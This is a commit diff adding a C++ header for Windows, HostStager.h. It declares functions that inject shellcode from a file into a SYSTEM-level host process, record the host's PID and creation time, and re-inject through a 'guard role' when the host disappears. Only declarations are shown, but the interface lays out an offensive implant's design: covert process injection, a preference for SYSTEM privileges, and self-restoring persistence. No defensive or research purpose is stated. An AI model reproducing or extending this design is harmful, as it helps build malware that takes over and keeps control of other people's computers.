Init commit

HostStager.h

@@ -0,0 +1,50 @@
+#pragma once
+
+#include <windows.h>
+
+#include <string>
+
+struct HostInjectResult
+{
+    bool ok = false;
+    DWORD hostPid = 0;
+    DWORD hostSession = 0;
+    unsigned long long creationTime = 0;
+    std::wstring hostImage;
+    std::wstring method;
+    std::wstring error;
+};
+
+struct HostTrack
+{
+    DWORD pid = 0;
+    unsigned long long creationTime = 0;
+    std::wstring payload;
+    std::wstring hostImage;
+
+    bool Tracked() const { return pid != 0 && !payload.empty(); }
+};
+
+// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process.
+// Identity is recorded (pid + creation time) so a recycled PID is never treated
+// as the same host.
+HostInjectResult InjectShellcodeIntoHost(
+    const std::wstring& shellcodePath,
+    const std::wstring& preferredImage,
+    bool requireSystem);
+
+// True when the tracked pid still exists AND its creation time matches, which
+// rejects PID reuse.
+bool HostStillAlive(const HostTrack& track);
+
+bool GetProcessCreateTime(DWORD pid, unsigned long long& out);
+
+HostTrack LoadHostTrack();
+bool SaveHostTrack(const HostTrack& track);
+bool ClearHostTrack();
+
+// Used by the guard role: re-injects only when the previous host is gone.
+HostInjectResult EnsureHostInjected(bool requireSystem = true);
+
+std::wstring FormatInjectResult(const HostInjectResult& r);
+std::wstring FormatHostTrack(const HostTrack& t);